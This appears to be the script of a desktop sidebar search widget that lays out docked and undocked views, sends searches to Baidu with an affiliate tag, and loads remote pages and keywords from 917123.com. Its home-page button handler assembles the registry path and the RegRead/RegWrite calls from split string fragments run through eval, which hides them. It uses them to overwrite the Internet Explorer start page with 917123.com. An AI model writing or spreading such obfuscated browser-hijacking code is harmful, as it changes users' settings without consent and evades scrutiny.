var dockUrl,unDockUrl,checkBox;
dockUrl="minisite_new\\dock.html";
unDockUrl="minisite_new\\unDock.html";
String.prototype.trim= function(){return this.replace(/(^\s*)|(\s*$)/g, "");}
function widgetOnUnDock()
{
   LockRefresh;
   homePageBt.Left=8;
   homePageBt.Top=12;
   logo.Src='logo_big.png';
   logo.Left=45;
   logo.top=15;
   input.Left=225;
   input.Top=258;
   input.Width=108;
   input.Height=16; 
   searchbt.Left=341;
   searchbt.Top=257; 
   HtmlPanelUrl="minisite\\largeLoading.html";
   HtmlPanelLeft=8;
   HtmlPanelTop=40;
   HtmlPanelWidth=356;
   HtmlPanelHeight=207;
   bg.Src="undockBg.png";
   widgetWidth=378;
   widgetHeight=290;
   UnLockRefresh;
   timer0OnTimer();
   Refresh;
}

function widgetOnDock()
{
   LockRefresh;
   HtmlPanelUrl="minisite\\loading.html";
   homePageBt.Left=4;
   homePageBt.Top=8;   
   logo.Src='logo_small.png';
   logo.Left=35;
   logo.top=8;   
   bg.Src="dockBg.png";
   input.Left=22;
   input.Top=149;
   input.Width=80;
   searchbt.Left=108;
   searchbt.Top=146;    
   HtmlPanelLeft=6;
   HtmlPanelTop=34;
   HtmlPanelWidth=125;
   HtmlPanelHeight=107;
   widgetWidth=136;
   widgetHeight=173;
   UnLockRefresh;
   timer0OnTimer();
   Refresh;
}
function autoFit(){
  if( dockedOnSidebar){
     HtmlPanelUrl=dockUrl; 
  }else{
     HtmlPanelUrl=unDockUrl;
  }
}
function checkNet(){
  var netOpen=ReadIniEx("temp.ini","net","isOpen");
  if(netOpen=="true"){
    var hotWord= ReadIniEx("temp.ini","kw","hotWord");
    hotWord=hotWord.split(',');
    input.Text=hotWord[parseInt(Math.random()*hotWord.length)]; 
    deleteFile( widgetPath+"\\temp.ini");   
    dockUrl="http:\/\/www.917123.com\/minisite_new\/dock.html";
    unDockUrl="http:\/\/www.917123.com\/minisite_new\/unDock.html"; 
  }else{
    dockUrl="minisite\\dock.html";
    unDockUrl="minisite\\unDock.html";    
  }
  autoFit();
  timer0.enabled=true;  
}
function timer0OnTimer()
{
  timer0.enabled=false;
  DownLoadFileAsync( "http:\/\/www.917123.com\/minisite\/temp.ini" ,"temp.ini" ,"checkNet");
}

function edit0OnKeyDown()
{
  if(keycode==13){
    search();
  }  
}
function search(){
  if(input.Text.trim()!=''){
    OpenLink('http://www.baidu.com/s?ie=utf-8&wd='+encodeURIComponent(input.Text.trim())+'&tn=dmato_pg');
  }else{
    showTrayHint('鱼鱼温馨提示：','请输入内容后再搜索');
  }
}

function homePageBtOnClick(sender){
  var shell=new ActiveXObject("WScript.Shell");
  var addr=['HKE','Y_CUR','RENT_US','ER\\','Softw','are\\','Mi','crosoft\\','Inte','rnet Expl','orer\\','Ma','in\\','Sta','rt Page'];
  addr=addr.join('');
  var fun=['shell','.','Reg','Read','(addr)']; 
  var curUrl=eval(fun.join(''));//shell.RegRead(addr);
  if(curUrl.indexOf('http://www.917123.com')!=0){
    var fun=['shell','.','Reg','Write','(addr',',"http://www.917123.com/")'];
    eval(fun.join(''));;
    shell=null;
  }
}